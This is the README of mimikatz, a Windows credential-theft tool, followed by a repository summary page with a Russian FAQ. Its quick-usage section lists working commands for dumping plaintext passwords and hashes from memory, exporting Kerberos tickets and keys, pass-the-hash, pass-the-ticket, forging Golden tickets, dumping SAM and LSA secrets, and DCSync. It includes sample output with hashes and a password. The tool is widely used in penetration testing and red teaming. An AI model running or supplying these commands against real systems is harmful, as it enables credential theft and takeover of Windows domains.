mimikatz README

The project's README from github.com/gentilkiwi/mimikatz. As one markdown file: README.md.

mimikatz

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, yes).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

Quick usage

log
privilege::debug

sekurlsa

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault & lsadump

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

Build

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Synchronize!

Build the solution

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

Continuous Integration

mimikatz project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz

Its status is: AppVeyor CI status

Licence

CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

mimikatz needs coffee to be developed:

Author

This is a personal development, please respect its philosophy and don't use it for bad things!

mimikatz (gentilkiwi/mimikatz)

Searching Database…

21.9K ·GitHub
Что это такое?Небольшой инструмент для безопасности Windows, изначально написанный, чтобы выучить C. Он больше всего известен тем, что извлекает из памяти пароли в открытом виде, хеши, PIN-коды и билеты Kerberos, а также умеет выполнять pass-the-hash, pass-the-ticket и создавать Golden-билеты.
Это библиотека, которую я подключаю в код, или программа, которую я просто запускаю?Отдельная консольная программа для Windows. Решение Visual Studio также включает mimilib и необязательный драйвер WinDDK (mimidrv), который для основных операций не требуется.
Как мне установить её на свой компьютер?Если не хотите компилировать, возьмите готовые бинарники со страницы GitHub releases. Иначе клонируйте репозиторий (подойдёт и GIT, и SVN), откройте решение Visual Studio и выполните Build / Build Solution.
Есть ли подводные камни при сборке?Будьте готовы к возможной ошибке MSB3073 про build.cmd и mimidrv: без WinDDK 7.1 драйвер не скомпилировать, хотя mimikatz и mimilib и без него собираются нормально.
Для кого вообще этот инструмент?Автор создавал его, чтобы выучить C и поэкспериментировать с безопасностью Windows, а активно его используют в пентесте и red teaming. Автор прямо просит пользователей уважать его философию и не применять инструмент во зло.
Он работает только на Windows?Да, только Windows — собирается как решение Visual Studio для Win32 и x64, а ARM64 — «если повезёт», по словам автора.
Есть ли что-то необычное в лицензии?Используется CC BY 4.0 — лицензия Creative Commons, а не типичная лицензия для кода. Проект — личная разработка Benjamin DELPY (gentilkiwi), поддерживаемая через пожертвования на PayPal.
Что он умеет делать с учётными данными и билетами Kerberos?Он может выполнять атаки pass-the-hash и pass-the-ticket и создавать Golden-билеты Kerberos. Модуль lsadump также включает DCSync и DCShadow, написанные в соавторстве с Vincent LE TOUX.
Какие модули есть у этого инструмента?Раздел быстрого использования охватывает sekurlsa, kerberos, crypto, vault и lsadump. В README также упоминаются возможности crypto, Terminal Server и Events, подробности — в GitHub Wiki.
Что такое mimilib, mimidrv и mimilove?Это сопутствующие части решения: mimilib — библиотека, mimidrv — необязательный драйвер Windows, не нужный для основных операций, а mimilove — ещё один компонент, для сборки которого тоже требуется WinDDK 7.1.
Creator
gentilkiwi
Size
5.2 MB
Stars
21.9K
Age
12y
Commits · 90 Days